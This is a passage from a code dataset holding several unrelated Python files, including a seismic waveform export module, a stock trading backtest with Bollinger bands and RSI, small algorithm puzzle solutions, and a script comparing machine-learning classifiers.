psysmon\nimport psysmon.core.util as util\nimport psysmon.core.packageNodes as package_nodes\nimport psysmon.core.preferences_manager as psy_pm\n\n# Import GUI related modules only if wxPython is available.\nif psysmon.wx_available:\n import psysmon.gui.dialog.pref_listbook as psy_lb\n\n\nclass ExportWaveformData(package_nodes.LooperCollectionChildNode):\n ''' Export waveform data to a file.\n\n '''\n name = 'export waveform data'\n mode = 'looper child'\n category = 'export'\n tags = ['waveform', 'data', 'export']\n\n def __init__(self, **args):\n ''' Initialize the instance.\n '''\n package_nodes.LooperCollectionChildNode.__init__(self, **args)\n\n self.create_format_preferences()\n self.create_timespan_preferences()\n self.create_output_preferences()\n\n\n @property\n def pre_stream_length(self):\n ''' The time-span needed for correct processing prior to the start time\n of the stream passed to the execute method [s].\n '''\n return self.pref_manager.get_value('pre_window_length')\n\n\n @property\n def post_stream_length(self):\n ''' The time-span needed for correct processing after the start time\n of the stream passed to the execute method [s].\n '''\n return self.pref_manager.get_value('post_window_length')\n\n\n def create_format_preferences(self):\n ''' Create the format preferences.\n '''\n format_page = self.pref_manager.add_page('Format')\n format_group = format_page.add_group('file format')\n meta_group = format_page.add_group('metadata')\n\n obspy_formats = list(obspy.core.util.base.ENTRY_POINTS['waveform'].keys())\n obspy_formats = sorted(obspy_formats)\n item = psy_pm.SingleChoicePrefItem(name = 'file_format',\n label = 'file format',\n limit = obspy_formats,\n value = 'MSEED',\n tool_tip = 'The export file format supported by obspy.')\n format_group.add_item(item)\n\n tool_tip = ('Apply the psysmon geometry metadata to the metadata '\n 'saved in the waveform data files.')\n item = psy_pm.CheckBoxPrefItem(name = 'apply_geometry',\n label = 'apply geometry',\n value = False,\n tool_tip = tool_tip)\n meta_group.add_item(item)\n\n tool_tip = ('Apply the psysmon geometry metadata to seismogram images.')\n item = psy_pm.CheckBoxPrefItem(name = 'apply_geometry_seismogram',\n label = 'apply geometry to seismogram',\n value = True,\n tool_tip = tool_tip)\n meta_group.add_item(item)\n\n # TODO: Add format preferences for selected output formats.\n\n\n def create_timespan_preferences(self):\n ''' Create the timespan preferences.\n '''\n timespan_page = self.pref_manager.add_page('Time-span')\n window_group = timespan_page.add_group('time window')\n\n # The pre-event time for the export.\n item = psy_pm.FloatSpinPrefItem(name = 'pre_window_length',\n label = 'pre window length [s]',\n value = 0,\n digits = 3,\n limit = (0, 1000000),\n tool_tip = 'The seconds prepended to the exported timespan. Useful when exporting events.')\n window_group.add_item(item)\n\n # The post-event time for the export.\n item = psy_pm.FloatSpinPrefItem(name = 'post_window_length',\n label = 'post window length [s]',\n value = 0,\n digits = 3,\n limit = (0, 1000000),\n tool_tip = 'The seconds appended to the exported timespan. Useful when exporting events.')\n window_group.add_item(item)\n\n\n def create_output_preferences(self):\n ''' Create the output preferences.\n '''\n output_page = self.pref_manager.add_page('Output')\n dest_group = output_page.add_group('destination')\n ds_group = output_page.add_group('data source')\n\n # The destination option.\n item = psy_pm.SingleChoicePrefItem(name = 'destination',\n label = 'destination',\n limit = ('looper output directory', 'data source'),\n value = 'looper output directory',\n hooks = {'on_value_change': self.on_destination_changed},\n tool_tip = 'The location where the exported data files will be saved.')\n dest_group.add_item(item)\n\n\n # The waveclient to work with.\n item = psy_pm.SingleChoicePrefItem(name = 'waveclient',\n label = 'waveclient',\n limit = (),\n value = '',\n tool_tip = 'The available database waveclients.',\n hooks = {'on_value_change': self.on_waveclient_selected})\n ds_group.add_item(item)\n\n # The waveform directories of the waveclient.\n column_labels = ['db_id', 'waveclient', 'waveform dir', 'alias', 'description',\n 'data file extension', 'first import', 'last scan']\n item = psy_pm.ListCtrlEditPrefItem(name = 'wf_dir',\n label = 'waveform directory',\n value = [],\n column_labels = column_labels,\n limit = [],\n tool_tip = 'The available waveform directories.',\n hooks = {'on_value_change': self.on_wf_dir_selected})\n\n ds_group.add_item(item)\n\n\n\n\n def on_destination_changed(self):\n ''' Handle the change of the destination preference value.\n '''\n if self.pref_manager.get_value('destination') == 'looper output directory':\n enable = []\n disable = ['waveclient', 'wf_dir']\n elif self.pref_manager.get_value('destination') == 'data source':\n enable = ['waveclient', 'wf_dir']\n disable = []\n\n for cur_item_name in enable:\n item = self.pref_manager.get_item(cur_item_name)[0]\n item.enable_gui_element()\n\n for cur_item_name in disable:\n item = self.pref_manager.get_item(cur_item_name)[0]\n item.disable_gui_element()\n\n\n def on_wf_dir_selected(self):\n ''' Handle selections of the waveform directory.\n '''\n selected_wf_dir = self.pref_manager.get_value('wf_dir')\n if selected_wf_dir:\n selected_wf_dir = selected_wf_dir[0]\n else:\n return\n\n item = self.pref_manager.get_item('search_path')[0]\n control_element = item.gui_element[0].controlElement\n item.start_directory = selected_wf_dir.alias\n control_element.startDirectory = selected_wf_dir.alias\n\n\n def on_waveclient_selected(self):\n ''' Handle selections of the waveclient.\n '''\n selected_waveclient = self.pref_manager.get_value('waveclient')\n if not selected_waveclient:\n return\n\n client = self.project.waveclient[selected_waveclient]\n client.loadWaveformDirList()\n waveform_dir_list = client.waveformDirList\n self.pref_manager.set_limit('wf_dir', waveform_dir_list)\n\n # Select existing values based on the waveform dir id.\n values = self.pref_manager.get_value('wf_dir')\n value_ids = [x[0] for x in values]\n values = [x for x in waveform_dir_list if x[0] in value_ids]\n values = list(set(values))\n self.pref_manager.set_value('wf_dir', values)\n\n\n def make_output_dir(self, base_dir):\n ''' Build the output directory.\n '''\n output_dir = os.path.join(base_dir, 'waveform')\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n return output_dir\n\n \n def edit(self):\n ''' Create the preferences edit dialog.\n '''\n # Create the edit dialog.\n dlg = psy_lb.ListbookPrefDialog(preferences = self.pref_manager)\n self.on_destination_changed()\n\n dlg.ShowModal()\n dlg.Destroy()\n\n\n\n def execute(self, stream, process_limits = None,\n origin_resource = None, channels = None, **kwargs):\n ''' Execute the looper child node.\n\n Parameters\n ----------\n stream : :class:`obspy.core.Stream`\n The data to process.\n '''\n # Check for needed keyword arguments.\n if not self.kwargs_exists(['event'], **kwargs):\n event = None\n else:\n event = kwargs['event']\n\n output_dir = kwargs['output_dir']\n output_dir = self.make_output_dir(output_dir)\n apply_geometry = self.pref_manager.get_value('apply_geometry')\n prop = 'apply_geometry_seismogram'\n apply_geometry_seis = self.pref_manager.get_value(prop)\n destination = self.pref_manager.get_value('destination')\n\n if destination == 'looper output directory':\n self.export_to_folder(stream = stream,\n channels = channels,\n event = event,\n process_limits = process_limits,\n output_dir = output_dir,\n apply_geometry = apply_geometry,\n apply_geometry_seis = apply_geometry_seis)\n elif destination == 'data source':\n self.export_to_data_source(stream = stream)\n\n\n\n def export_to_folder(self, stream, channels, output_dir,\n process_limits = None, event = None,\n apply_geometry = False, apply_geometry_seis = True):\n ''' Write the data stream to a folder.\n '''\n export_format = self.pref_manager.get_value('file_format')\n\n stream.sort()\n self.logger.debug(\"Using stream: %s.\", stream)\n self.logger.debug(\"The channels to export: %s.\", channels)\n self.logger.debug(\"The event to export: %s.\", event)\n\n self.logger.debug('process_limits: %s', process_limits)\n\n if len(stream) == 0:\n self.logger.error('No waveform data available.')\n return\n\n if process_limits:\n start_time = process_limits[0]\n end_time = process_limits[1]\n else:\n start_time = None\n end_time = None\n\n # Create a stream with the original metadata.\n orig_stream = stream.copy()\n inv = self.project.geometry_inventory\n for cur_trace in orig_stream:\n cur_channel = inv.get_channel(network = cur_trace.stats.network,\n station = cur_trace.stats.station,\n location = cur_trace.stats.location,\n name = cur_trace.stats.channel)\n if len(cur_channel) == 1:\n cur_channel = cur_channel[0]\n else:\n self.logger.error(\"Multiple channels found for trace %s.\",\n cur_trace)\n continue\n\n if cur_channel:\n if start_time:\n active_streams = cur_channel.get_stream(start_time = start_time,\n end_time = end_time)\n else:\n active_streams = cur_channel.get_stream()\n\n if len(active_streams) == 1:\n cur_rec_stream_tb = active_streams[0]\n cur_rec_stream = cur_rec_stream_tb.item\n orig_serial = cur_rec_stream.serial\n tmp = cur_rec_stream.name.split(':')\n orig_loc = tmp[0]\n orig_channel = tmp[1]\n orig_net = cur_channel.parent_station.network\n \n cur_trace.stats.network = orig_net\n cur_trace.stats.station = orig_serial\n cur_trace.stats.location = orig_loc\n cur_trace.stats.channel = orig_channel\n elif len(active_streams) == 0:\n self.logger.warning(\"No recorder stream found for trace %s.\",\n cur_trace)\n elif len(active_streams) > 1:\n self.logger.warning(\"Multiple active streams found for trace %s. This case is not yet implemented.\", cur_trace)\n \n for cur_channel in channels:\n if start_time:\n active_streams = cur_channel.get_stream(start_time = start_time,\n end_time = end_time)\n else:\n active_streams = cur_channel.get_stream()\n\n if len(active_streams) == 0:\n self.logger.warning(\"No recorder stream found for trace %s.\",\n cur_trace)\n elif len(active_streams) > 1:\n self.logger.warning(\"Multiple active recorder streams found for trace %s. This case is not yet implemented.\", cur_trace)\n \n for cur_rec_stream_tb in active_streams:\n cur_rec_stream = cur_rec_stream_tb.item\n orig_serial = cur_rec_stream.serial\n tmp = cur_rec_stream.name.split(':')\n orig_loc = tmp[0]\n orig_channel = tmp[1]\n orig_net = cur_channel.parent_station.network\n\n cur_stream = stream.select(network = cur_channel.parent_station.network,\n station = cur_channel.parent_station.name,\n location = cur_channel.parent_station.location,\n channel = cur_channel.name)\n cur_stream = cur_stream.split()\n for cur_trace in cur_stream:\n if not apply_geometry:\n cur_trace.stats.network = orig_net\n cur_trace.stats.station = orig_serial\n cur_trace.stats.location = orig_loc\n cur_trace.stats.channel = orig_channel\n\n exp_net = cur_trace.stats.network\n exp_stat = cur_trace.stats.station\n exp_loc = cur_trace.stats.location\n exp_channel = cur_trace.stats.channel\n cur_start = cur_trace.stats.starttime\n filename = '%d_%03d_%02d%02d%02d_%s_%s_%s_%s.msd' % (cur_start.year,\n cur_start.julday,\n cur_start.hour,\n cur_start.minute,\n cur_start.second,\n exp_net,\n exp_stat,\n exp_loc,\n exp_channel)\n\n if event:\n dest_path = os.path.join(output_dir,\n \"{0:04d}\".format(cur_start.year),\n \"{0:03d}\".format(cur_start.julday),\n 'event_%010d_%s' % (event.db_id,\n event.start_time.isoformat().replace(':', '').replace('-', '').replace('.', '')))\n else:\n dest_path = output_dir\n\n dest_path = os.path.join(dest_path,\n '{0:04d}'.format(cur_start.year),\n '{0:03d}'.format(cur_start.julday),\n exp_net,\n exp_stat)\n \n if not os.path.exists(dest_path):\n os.makedirs(dest_path)\n\n file_path = os.path.join(dest_path, filename)\n try:\n cur_trace.write(file_path, format = export_format)\n except Exception as e:\n self.logger.exception(e)\n\n if event:\n dest_path = os.path.join(output_dir,\n \"{0:04d}\".format(cur_start.year),\n \"{0:03d}\".format(cur_start.julday),\n 'event_%010d_%s' % (event.db_id,\n event.start_time.isoformat().replace(':', '').replace('-', '').replace('.', '')))\n\n if apply_geometry_seis:\n plot_stream = stream\n else:\n plot_stream = orig_stream\n\n self.plot_data(stream = plot_stream,\n dest_path = dest_path,\n event = event)\n\n\n def plot_data(self, stream, dest_path, event):\n ''' Plot the data of the sourcemap stations.\n '''\n title = 'event_%010d (%s)' % (event.db_id,\n event.start_time.isoformat())\n detection_scnl = [x.scnl for x in event.detections]\n\n n_plots = len(stream)\n fig = plt.figure(figsize = (20 / 2.54, n_plots * 2))\n for k, cur_trace in enumerate(stream):\n ax = fig.add_subplot(n_plots, 1, k+1)\n\n # Plot the trace data.\n cur_data = cur_trace.data\n cur_time = cur_trace.times()\n ax.plot(cur_time, cur_data,\n color = 'black')\n\n # Add the event limit lines.\n ax.axvspan(event.start_time - cur_trace.stats.starttime,\n event.end_time - cur_trace.stats.starttime,\n color = 'xkcd:light grey')\n\n # Add the detection limits if available for the current trace.\n if util.traceid_to_scnl(cur_trace.id) in detection_scnl:\n detection_list = [x for x in event.detections if x.scnl == util.traceid_to_scnl(cur_trace.id)]\n for cur_detection in detection_list:\n ax.axvspan(cur_detection.start_time - cur_trace.stats.starttime,\n cur_detection.end_time - cur_trace.stats.starttime,\n color = 'xkcd:faded pink')\n\n # Add the SCNL text.\n ax.text(x = 0.99, y = 0.5,\n s = cur_trace.id,\n transform = ax.transAxes,\n fontsize = 8,\n verticalalignment = 'center',\n horizontalalignment = 'right',\n bbox = dict(facecolor='white', alpha=0.9))\n\n ax.set_xlim((cur_time[0], cur_time[-1]))\n max_data = np.max(np.abs(cur_data))\n ax.set_ylim((-max_data, max_data))\n if k == 0:\n ax.set_title(title)\n if k < n_plots - 1:\n ax.set_xticklabels([])\n if k == n_plots - 1:\n cur_unit = cur_trace.stats.unit\n if cur_unit == 'm/s':\n cur_unit_label = 'vel. [m/s]'\n elif cur_unit == 'm/s^2':\n cur_unit_label = 'accel. [m/s^2]'\n elif cur_unit == 'counts':\n cur_unit_label = 'counts'\n else:\n cur_unit_label = 'units unknown'\n\n ax.set_ylabel(cur_unit_label)\n\n ax.set_xlabel('time [s]')\n fig.tight_layout()\n fig.subplots_adjust(hspace=0)\n\n filename = 'event_%010d_%s.png' % (event.db_id,\n event.start_time.isoformat().replace(':', '').replace('-', '').replace('.', ''))\n fig.savefig(os.path.join(dest_path, filename),\n dpi = 150)\n fig.clear()\n plt.close(fig)\n plt.close('all')\n del fig\n\n\n","repo_name":"stefanmaar/psysmon","sub_path":"lib/psysmon/packages/obspyImportWaveform/lc_export_waveform_data.py","file_name":"lc_export_waveform_data.py","file_ext":"py","file_size_in_byte":22007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23577402421","text":"import math\r\n\r\ndef main():\r\n t = int(input())\r\n cases = []\r\n for i in range(0, t):\r\n line = input()\r\n nums = line.split()\r\n n = int(nums[0])\r\n p = int(nums[1])\r\n line = input()\r\n ing_amounts = list(map(float, line.split()))\r\n q = []\r\n for j in range(0, n):\r\n line = input()\r\n qi = list(map(float, line.split()))\r\n q.append(qi)\r\n cases.append((n,p,ing_amounts,q))\r\n case_num = 1\r\n\r\n for case in cases:\r\n (n,p,amounts,q) = case\r\n servs = []\r\n used_pack = []\r\n for i in range(0, n): # for each ingredient.\r\n servs.append([])\r\n used_pack.append([])\r\n for j in range(0, p): # for each package.\r\n min_serv = math.ceil(q[i][j]/(float(amounts[i])*1.1))\r\n max_serv = math.floor(q[i][j]/(float(amounts[i])*0.9))\r\n if min_serv > max_serv:\r\n min_serv, max_serv = 0, 0\r\n servs[i].append((min_serv,max_serv))\r\n\r\n # Determine number of kits that can be made.\r\n kits = count_kits(servs, used_pack)\r\n print('Case #{0}: {1}'.format(case_num, kits))\r\n case_num += 1\r\n\r\n\r\ndef count_kits(servs, used_pack):\r\n #print(used_pack)\r\n max_kit = 0\r\n if len(servs) == 1: # count number of packages != 0 servs\r\n kit_sum = 0\r\n for pack in servs[0]:\r\n if pack[1] > 0:\r\n kit_sum += 1\r\n max_kit = kit_sum\r\n elif len(servs) == 2:\r\n #print(servs)\r\n if len(servs[0]) == 0: return 0\r\n kit_sum = 0\r\n for j in range(0, len(servs[1])):\r\n #if j in used_pack[1]: continue\r\n new_used1 = used_pack[0] + [0]\r\n new_used2 = used_pack[1] + [j]\r\n new_used = [new_used1, new_used2]\r\n new_servs1 = servs[0][1:]\r\n new_servs2 = servs[1][:j] + servs[1][j+1:]\r\n new_servs = [new_servs1, new_servs2]\r\n kit_sum = is_kit([servs[0][0], servs[1][j]]) + count_kits(new_servs, new_used)\r\n if kit_sum > max_kit: max_kit = kit_sum\r\n return max_kit\r\n\r\n'''\r\ndef pick_pack_indices(servs):\r\n\r\n'''\r\ndef is_kit(packs):\r\n if len(packs) == 0: return\r\n min_serv = packs[0][0]\r\n max_serv = packs[0][1]\r\n for pack in packs:\r\n if max_serv == 0: return False\r\n if pack[1] < min_serv or pack[0] > max_serv:\r\n return False\r\n min_serv = max(min_serv, pack[0])\r\n max_serv = min(max_serv, pack[1])\r\n if max_serv == 0: return False\r\n return True\r\n\r\nmain()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_204/301.py","file_name":"301.py","file_ext":"py","file_size_in_byte":2601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3390235432","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport yfinance as yf\n\n\ndef download_stock_data(stock_symbol, start_date, end_date):\n # Download historical stock data\n data = yf.download(stock_symbol, start=start_date, end=end_date)\n return data\n\n\ndef calculate_bollinger_bands(data, window=20):\n # Calculate the rolling mean and standard deviation\n data['SMA'] = data['Close'].rolling(window=window).mean()\n data['STD'] = data['Close'].rolling(window=window).std()\n\n # Calculate the upper and lower Bollinger Bands\n data['Upper'] = data['SMA'] + (data['STD'] * 2)\n data['Lower'] = data['SMA'] - (data['STD'] * 2)\n return data\n\n\ndef simulate_trading(data):\n action = \"buy\"\n invested = 0\n total_profit = 0\n highest_buy = 0\n\n for _, row in data.iterrows():\n if action == \"buy\":\n if row['Close'] <= row['Lower']:\n invested = 100 * row['Close']\n if invested > highest_buy:\n highest_buy = invested\n print(f'Buy 100 stocks at {row[\"Close\"]} | {invested}')\n action = \"sell\"\n else:\n if row['Close'] >= 0.90 * row['High']:\n profit = 100 * row['High'] - invested\n if profit > 0:\n invested = 0\n total_profit += profit\n sold = 100 * row['High']\n action = \"buy\"\n print(f'Sold 100 stocks at {row[\"High\"]} | {sold} | Profit: {profit}')\n\n return total_profit, highest_buy\n\n\ndef plot_bollinger_bands(data, stock_symbol, window):\n plt.figure(figsize=(12, 6))\n plt.plot(data.index, data['Close'], label=stock_symbol + ' Close Price', color='blue')\n plt.plot(data.index, data['SMA'], label='SMA (' + str(window) + ' days)', color='black')\n plt.plot(data.index, data['Upper'], label='Upper Bollinger Band', color='red', linestyle='--')\n plt.plot(data.index, data['Lower'], label='Lower Bollinger Band', color='green', linestyle='--')\n\n plt.title('Bollinger Bands for ' + stock_symbol)\n plt.xlabel('Date')\n plt.ylabel('Price')\n plt.legend(loc='upper left')\n plt.grid()\n plt.show()\n\n\ndef calculate_bollinger_bands_with_rsi(data, window=20, rsi_window=14):\n # Calculate the rolling mean and standard deviation\n data['SMA'] = data['Close'].rolling(window=window).mean()\n data['STD'] = data['Close'].rolling(window=window).std()\n\n # Calculate the upper and lower Bollinger Bands\n data['Upper'] = data['SMA'] + (data['STD'] * 2)\n data['Lower'] = data['SMA'] - (data['STD'] * 2)\n\n # Calculate RSI\n delta = data['Close'].diff()\n gain = delta.where(delta > 0, 0)\n loss = -delta.where(delta < 0, 0)\n\n avg_gain = gain.rolling(window=rsi_window).mean()\n avg_loss = loss.rolling(window=rsi_window).mean()\n\n rs = avg_gain / avg_loss\n data['RSI'] = 100 - (100 / (1 + rs))\n\n return data\n\n\ndef simulate_advanced_trading(data, short_window=10, long_window=50):\n action = \"buy\"\n invested = 0\n total_profit = 0\n\n short_ma = data['Close'].rolling(window=short_window).mean()\n long_ma = data['Close'].rolling(window=long_window).mean()\n\n for date, row in data.iterrows():\n if action == \"buy\":\n if row['RSI'] < 30 and short_ma[row.name] > long_ma[row.name]:\n invested = 100 * row['Close']\n print(f'Buy 100 stocks at {row[\"Close\"]} | {invested} | {date}')\n action = \"sell\"\n else:\n if row['RSI'] > 70 or short_ma[row.name] < long_ma[row.name]:\n profit = 100 * row['Close'] - invested\n if profit > 0:\n invested = 0\n total_profit += profit\n print(f'Sold 100 stocks at {row[\"Close\"]} | Profit: {profit} | {date}')\n action = \"buy\"\n\n return total_profit\n\n\ndef main():\n stock_symbols = ['SE', 'TSLA']\n start_date = '2022-08-08'\n end_date = '2023-09-09'\n window = 20\n\n for stock_symbol in stock_symbols:\n print(f\"\\n\\nAnalyzing {stock_symbol}\")\n data = download_stock_data(stock_symbol, start_date, end_date)\n data = calculate_bollinger_bands_with_rsi(data, window)\n total_profit = simulate_advanced_trading(data)\n\n try:\n print(f\"Cumulative Profit : {total_profit}\")\n except ZeroDivisionError:\n print(\"No purchases were made.\")\n\n plot_bollinger_bands(data, stock_symbol, window)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"rohitthakur8009/algotrading","sub_path":"bollinger_bands.py","file_name":"bollinger_bands.py","file_ext":"py","file_size_in_byte":4548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28096839079","text":"class Solution:\n # @param A : list of integers\n # @return an integer\n def solve(self, A):\n hash_map = dict()\n \n for i in range(1, len(A)):\n curr_sum = A[i] + A[i-1]\n A[i] = curr_sum\n print(curr_sum)\n if curr_sum == 0:\n return 1\n elif curr_sum in hash_map:\n return 1\n elif curr_sum not in hash_map:\n hash_map[curr_sum] = i\n return 0\n\n\nif __name__ == \"__main__\":\n a = [ 5, 17, -22, 11 ]\n obj = Solution()\n ans = obj.solve(a)\n print(ans)","repo_name":"navkant/ds_algo_practice","sub_path":"datastructures/hash_map/subarray_zero_sum.py","file_name":"subarray_zero_sum.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43926313482","text":"# coding:utf-8\nimport gc\nimport os\nimport warnings\n\nimport lightgbm\nimport matplotlib\nfrom matplotlib.pylab import rcParams\nfrom sklearn import metrics\nimport sklearn\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.externals.joblib import Parallel, delayed\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import Imputer\n\nimport matplotlib.pylab as plt\nimport numpy as np\nimport pandas as pd\nimport scipy as sp\nimport xgboost as xgb\n\n\ntrain_feature = '../data/train_feature.txt'\ntest_feature = '../data/test_feature.txt'\nresult_saver_normal = '../data/results.csv'\nresult_saver_upsampled = '../data/results_sampled.csv'\ncross_validation_K = 10\nuse_upsample_or_not = True\ntest_classifiers = ['KNN', 'DT', 'SVM', 'GBDT']\npredict_samples = 10000\nbase_gini_rate = 2600 / 400\n\nrcParams['figure.figsize'] = 12, 4\nwarnings.filterwarnings(\"ignore\")\n\ndef naive_bayes_classifier(trainX, trainY): # Multi nomial Naive Bayes Classifier\n \n from sklearn.naive_bayes import MultinomialNB\n model = MultinomialNB(alpha=0.01)\n model.fit(trainX, trainY)\n \n return model\n\ndef knn_classifier(trainX, trainY): # KNN Classifier\n from sklearn.neighbors import KNeighborsClassifier\n model = KNeighborsClassifier()\n model.fit(trainX, trainY)\n return model\n\ndef logistic_regression_classifier(trainX, trainY): # Logistic Regression Classifier\n \n from sklearn.linear_model import LogisticRegression\n model = LogisticRegression(penalty='l2')\n model.fit(trainX, trainY)\n \n return model\n\ndef random_forest_classifier(trainX, trainY): # Random Forest Classifier\n\n from sklearn.ensemble import RandomForestClassifier\n model = RandomForestClassifier(n_estimators=30)\n model.fit(trainX, trainY)\n \n return model\n\ndef decision_tree_classifier(trainX, trainY): # Decision Tree Classifier\n \n from sklearn import tree\n model = tree.DecisionTreeClassifier()\n model.fit(trainX, trainY)\n \n return model\n \ndef gradient_boosting_classifier(trainX, trainY): # GBDT(Gradient Boosting Decision Tree) Classifier\n \n from sklearn.ensemble import GradientBoostingClassifier\n model = GradientBoostingClassifier(n_estimators=200)\n model.fit(trainX, trainY)\n \n return model\n\ndef ada_boosting_classifier(trainX, trainY): # AdaBoost Ensemble Classifier\n \n from sklearn.ensemble import AdaBoostClassifier\n model = AdaBoostClassifier(n_estimators=100)\n model.fit(trainX, trainY)\n \n return model\n\ndef svm_classifier(trainX, trainY): # SVM Classifier\n\n from sklearn.svm import SVC\n model = SVC(kernel='rbf', probability=True)\n model.fit(trainX, trainY)\n \n return model\n\ndef gbm_classifier(trainX, trainY):\n gbm = GradientBoostingClassifier(learning_rate=0.01, n_estimators=50, min_samples_split=50, max_depth=9,\n min_samples_leaf=4, max_features=15, subsample=0.7)\n gbm.fit(X_train, y_train)\n return gbm\n\ndef upsample(df, use_upsample_or_not):\n \n df_majority = df[df.label == 1]\n # df_majority.label = 0\n df_minority = df[df.label == 0]\n # df_minority.label = 1\n \n if use_upsample_or_not:\n print('Up sampling used')\n from sklearn.utils import resample\n \n # 上采样少数类别\n df_minority_upsampled = resample(df_minority,\n replace=True, # sample with replacement\n n_samples=len(df_majority), # to match majority class\n random_state=123) # reproducible results\n \n # 合并多数类别同上采样过的少数类别\n df_upsampled = pd.concat([df_majority, df_minority_upsampled])\n df_upsampled.label.value_counts()\n \n return df_upsampled\n \n else:\n return df\n \ndef calculate_distances(list_1, list_2):\n from collections import Counter\n d = dict(Counter(list_1))\n if d[1] == len(list_1):\n d[0] = 1\n d_0 = d[0] / (d[0] + d[1])\n d_1 = d[1] / (d[0] + d[1])\n e = dict(Counter(list_2))\n if e[1] == len(list_2):\n e[0] = 1\n e_0 = e[0] / (e[0] + e[1])\n e_1 = e[1] / (e[0] + e[1])\n distance_ = (d_0 - e_0) * (d_0 - e_0) + (d_1 - e_1) * (d_1 - e_1)\n return distance_ / 2\n\ndef cal_distance(list_A):\n from collections import Counter\n d = dict(Counter(list_A))\n if len(d) < 2:\n if 0 in d.keys():\n d[1] = 1\n else:\n d[0] = 1\n absolute_gini = d[1] / d[0] if d[1] > d[0] else d[0] / d[1]\n Relative_gini = absolute_gini / base_gini_rate\n return Relative_gini\n\nif __name__ == '__main__':\n \n # 读 数据集,命名\n train_data = pd.read_csv(train_feature, engine='python' , delimiter=' ')\n columns_name = []\n for i in range(len(train_data.iloc[0]) - 1):\n columns_name.append('feature_' + str(i + 1))\n columns_name.append('label')\n train_data.columns = columns_name\n \n # 重采样\n train_data = upsample(train_data, use_upsample_or_not)\n \n # 读取预测集数据\n train_feature = train_data.iloc[:, :-1]\n label = train_data.iloc[:, -1].astype(int)\n test_feature = pd.read_csv(test_feature, engine='python' , delimiter=' ', skiprows=90000)\n print(train_feature.describe())\n print(label.describe())\n print(test_feature.describe())\n \n # 在切分后的数据上 切分 训练集和测试集\n # test_ratio = 0.2\n # from sklearn.model_selection import train_test_split\n # X_train, X_test, y_train, y_test = train_test_split(train_feature, label, \\\n X_train, y_train = train_feature, label\n \n # 选择使用的特征,随机选取\n \n X_train = X_train # .iloc[:, 20:30]\n test_feature = test_feature # .iloc[:, 20:30]\n \n # 归一化\n # from sklearn import preprocessing\n # max_min_model = preprocessing.MinMaxScaler().fit(X_train)\n # X_train = max_min_model.transform(X_train) \n \n\n # 定义使用的算法\n classifiers = {'NB':naive_bayes_classifier,\n 'KNN':knn_classifier,\n 'LR':logistic_regression_classifier,\n 'RF':random_forest_classifier,\n 'DT':decision_tree_classifier,\n 'SVM':svm_classifier,\n 'GBDT':gradient_boosting_classifier,\n 'AdaBoost':ada_boosting_classifier,\n 'gbm':gbm_classifier,\n }\n \n ##### 使用不同算法做训练和预测\n import os\n \n if use_upsample_or_not:\n file_ = result_saver_upsampled\n else:\n file_ = result_saver_normal\n \n if os.path.exists(file_):\n os.remove(file_)\n fid = open(file_, 'a')\n\n str_name = 'Classifier,Accuracy,Recall,ROC,F1,Gini\\n'\n fid.write(str_name)\n\n for classifier in test_classifiers:\n \n print('\\nAlgorithm:%s' % classifier)\n \n from sklearn.metrics import fbeta_score, make_scorer\n ftwo_scorer = make_scorer(fbeta_score, beta=5)\n\n # train\n model = classifiers[classifier](X_train, y_train)\n \n # cross-validation 交叉验证\n accuracy_score = cross_val_score(model, X_train, y_train, cv=cross_validation_K, scoring='accuracy')\n recall_score = cross_val_score(model, X_train, y_train, cv=cross_validation_K, scoring='recall')\n f1_score = cross_val_score(model, X_train, y_train, cv=cross_validation_K, scoring=ftwo_scorer)\n roc_auc_score = cross_val_score(model, X_train, y_train, cv=cross_validation_K, scoring='roc_auc')\n print (\"Accuracy score: Mean: %.7g | Std: %.7g | Min: %.7g | Max: %.7g\" % (\n np.mean(accuracy_score), np.std(accuracy_score), np.min(accuracy_score), np.max(accuracy_score)))\n print (\"recall score: Mean: %.7g | Std: %.7g | Min: %.7g | Max: %.7g\" % (\n np.mean(recall_score), np.std(recall_score), np.min(recall_score), np.max(recall_score)))\n print (\"weighted f1 score: Mean: %.7g | Std: %.7g | Min: %.7g | Max: %.7g\" % (\n np.mean(f1_score), np.std(f1_score), np.min(f1_score), np.max(f1_score)))\n print (\"roc_auc score: Mean: %.7g | Std: %.7g | Min: %.7g | Max: %.7g\" % (\n np.mean(roc_auc_score), np.std(roc_auc_score), np.min(roc_auc_score), np.max(roc_auc_score)))\n \n # 预测集上的距离\n # predict\n print('Start predicting...')\n y_pred = model.predict(test_feature)\n y_predprob = model.predict_proba(test_feature)[:, 1]\n from collections import Counter\n # 观察一下y分布\n print ('predict label count for A:')\n print(Counter(y_pred))\n # true_distance = calculate_distances(y_pred, y_train)\n true_distance = cal_distance(y_pred)\n print('distances:%f' % true_distance)\n \n str_values = '%s,%.4f,%.4f,%.4f,%.4f,%.4f\\n' % (classifier, np.mean(accuracy_score), \\\n np.mean(recall_score), np.mean(f1_score), np.mean(roc_auc_score), true_distance)\n fid.write(str_values)\n","repo_name":"Longchanging/MouseCapture","sub_path":"src/4_main_GBDT.py","file_name":"4_main_GBDT.py","file_ext":"py","file_size_in_byte":9172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"31769601057","text":"import math, copy, re, hashlib\nimport itertools as it\n# import lib for year 2020\nfrom lib import disp, check_data, parse_row, has_all_fields\n\ndef rl(arr):\n\treturn range(len(arr))\n\ndef get_pos(g, coord):\n\tz, y, x = coord\n\tcurr = g[z][y][x]\n\tcnt = 0\n\tfor i in range(-1, 2):\n\t\tfor j in range(-1, 2):\n\t\t\tfor k in range(-1, 2):\n\t\t\t\tif i == 0 and j == 0 and k == 0:\n\t\t\t\t\tcontinue\n\t\t\t\tif 